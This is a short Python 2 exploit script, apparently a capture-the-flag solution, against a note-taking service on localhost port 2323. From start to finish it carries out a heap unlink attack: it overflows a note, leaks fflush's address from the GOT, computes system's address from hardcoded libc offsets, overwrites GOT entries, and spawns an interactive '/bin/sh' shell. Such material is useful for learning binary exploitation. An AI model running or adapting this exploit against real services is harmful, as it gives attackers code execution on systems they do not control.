import socket
import struct

def q(a):
  return struct.pack("I", a)

def recv_until(st):
  ret = ""
  while st not in ret:
    ret += s.recv(8192)
  return ret

s = socket.create_connection(("localhost", 2323))
print recv_until("option")

s.send("1\n16\n1\n16\n")  # create two notes of size 16
print recv_until("option")

s.send("3\n0\n100\n")     # change note 0 with size 100
print recv_until("your data.")

# 0x0: "/bin/sh\x00"
# 0x8: next 0x10 bytes is padding
# 0x18: keep the 0x25 around cause why not
# 0x1c: target fflush in the GOT @ 0x804A004 (trashes 0x804A00C)
# 0x20: write 0x804A004 to 0x804a068(note slot 2)
s.send("/bin/sh\x00"+"a"*0x10+q(0x25)+q(0x804A004)+q(0x804a068-4))
print recv_until("option")

s.send("2\n1\n")         # delete note 1 to trigger the unlink
print recv_until("option")

s.send("4\n2\n")         # print note 2 to dump the GOT @ 0x804A004 = fflush
dat = recv_until("option")
fflush = struct.unpack("I", dat.split("id.\n")[1][0:4])[0]
print hex(fflush)

#   95: 000657a0   257 FUNC    WEAK   DEFAULT   12 fflush@@GLIBC_2.0
# 1422: 0003f430   141 FUNC    WEAK   DEFAULT   12 system@@GLIBC_2.0

system = fflush - 0x657a0 + 0x3f430

s.send("3\n2\n8\n")     # change note 2(the GOT) with size 8
print recv_until("your data.")
s.send(q(fflush)+q(system))  # overwrite fflush with fflush and puts with system

# note that puts is now broken, and they are all calls to system
s.send("4\n0\n")        # "print" note 0, which is "/bin/sh\x00"

print " ** SHELL ** "
import telnetlib
t = telnetlib.Telnet()
t.sock = s
t.interact()

